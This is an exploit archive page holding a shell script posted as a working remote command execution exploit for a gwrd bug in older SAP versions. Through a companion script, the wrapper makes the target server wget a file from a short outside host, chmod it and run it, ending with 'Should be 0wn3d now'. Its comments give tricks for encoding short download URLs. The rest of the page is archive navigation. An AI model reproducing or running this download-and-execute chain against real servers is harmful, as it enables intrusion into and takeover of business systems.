what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

r3mote_unix_wrapper.sh.txt

r3mote_unix_wrapper.sh.txt
Posted Nov 14, 2006
Authored by Nicob

Linux port of the exploit for the gwrd bug in SAP versions below 4.6D patch 1767 and versions below 6.40 patch 4. Allows for remote command execution. Shell script version.

tags | exploit, remote, shell
systems | linux
SHA-256 | a55846c9b05cc9ff91e04c28793f07962b4beb73e490fe87b6e190bb5bb7e3fe

r3mote_unix_wrapper.sh.txt

Change Mirror Download
#!/bin/sh

# Variables

# Ultra short URL where is located our additional code
# Max length : 8 chars
SRC="zz.1.vg"

# Filename of the downloaded file
# Max length : 6 chars (because of "-O" in wget)
FILE="./..."

# Target SAP server IP
# No restriction ;-)
TARGET="192.168.201.11"

# Set to /bin/echo to debug
DEBUG=""

###########################################################
# Some $SRC tricks
#
# Max 8 characters can be used, so you can use with wget :
#
# - any IP in the range of 1.0.0.0-5.245.224.255
# - "wget 99999999" (IP 5.245.224.255)
# - any short hostname like 'zz.1.vg'
# - "wget zz.1.vg"
# - hex IP adress or int IP mixed with standard encoding
# - wget 10.0x311 (10.0.3.17)
# - wget 10.785 (10.0.3.17)
###########################################################

# Download, chmod and launch a script/binary of your choice

# Typical command exectuted server-side :
# wget zz.1.vg sapgw17 -Oabc GWHOST=cartman GWSERV=sapgw17 CONVID=-Oabc

$DEBUG echo "Downloading with wget ..."
$DEBUG ./r3mote_unix_UDPexec.pl wget $SRC -O$FILE $TARGET

$DEBUG sleep 120

$DEBUG echo "Chmod-ing the downloaded file ..."
$DEBUG ./r3mote_unix_UDPexec.pl chmod 755 $FILE $TARGET

$DEBUG sleep 2

$DEBUG echo "Executing the file ..."
$DEBUG ./r3mote_unix_UDPexec.pl $FILE xxx xxx $TARGET

$DEBUG echo "Should be 0wn3d now ..."


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close